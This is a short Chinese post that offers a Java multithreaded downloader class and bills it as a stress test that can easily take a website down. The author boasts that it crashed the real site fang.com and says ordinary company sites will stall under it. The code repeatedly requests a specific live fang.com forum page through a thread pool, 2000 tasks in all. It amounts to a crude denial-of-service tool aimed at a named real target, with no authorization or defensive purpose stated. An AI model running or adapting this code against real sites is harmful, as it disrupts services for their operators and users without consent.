一个类，堪比压力测试，随随便便就能K掉一个网站
一个类，堪比压力测试，随随便便就能K掉一个网站这是一个能提供多线程访问下载 网站的程序，亲测，搜房网100个线程1000个任务时，搜房网崩溃。。。
普通公司的网站，基本都会阻塞。。。
详细使用方式：
package com.thinkgem.jeesite.common.persistence;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.ReadableByteChannel;
import java.util.Calendar;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class HttpDownloader implements Callable<String> {
URLConnection connection;
FileChannel outputChann;
public static volatile int count = 0;
public static void main(String[] args) throws Exception {
ExecutorService poll = Executors.newFixedThreadPool(2);
for (int i = 0; i < 2000; i++) {
Calendar now = Calendar.getInstance();
String fileName = "d:/data/" + now.get(Calendar.YEAR) + "年"
+ (now.get(Calendar.MONTH) + 1) + "月"
+ now.get(Calendar.DAY_OF_MONTH) + "日--" + i + ".txt";
poll.submit(new HttpDownloader(
"http://m.fang.com/bbs/changchun/1710763523/182859674.htm",
(new FileOutputStream(fileName)).getChannel()));
}
poll.shutdown();
long start = System.currentTimeMillis();
while (!poll.isTerminated()) {
Thread.sleep(1000);
System.out.println("已运行"
+ ((System.currentTimeMillis() - start) / 1000) + "秒，"
+ HttpDownloader.count + "个任务还在运行");
}
}
public HttpDownloader(String url, FileChannel fileChannel) throws Exception {
synchronized (HttpDownloader.class) {
count++;
}
connection = (new URL(url)).openConnection();
this.outputChann = fileChannel;
}
@Override
public String call() throws Exception {
connection.connect();
InputStream inputStream = connection.getInputStream();
ReadableByteChannel rChannel = Channels.newChannel(inputStream);
outputChann.transferFrom(rChannel, 0, Integer.MAX_VALUE);
// System.out.println(Thread.currentThread().getName() + " completed!");
inputStream.close();
outputChann.close();
synchronized (HttpDownloader.class) {
count--;
}
return null;
}
}
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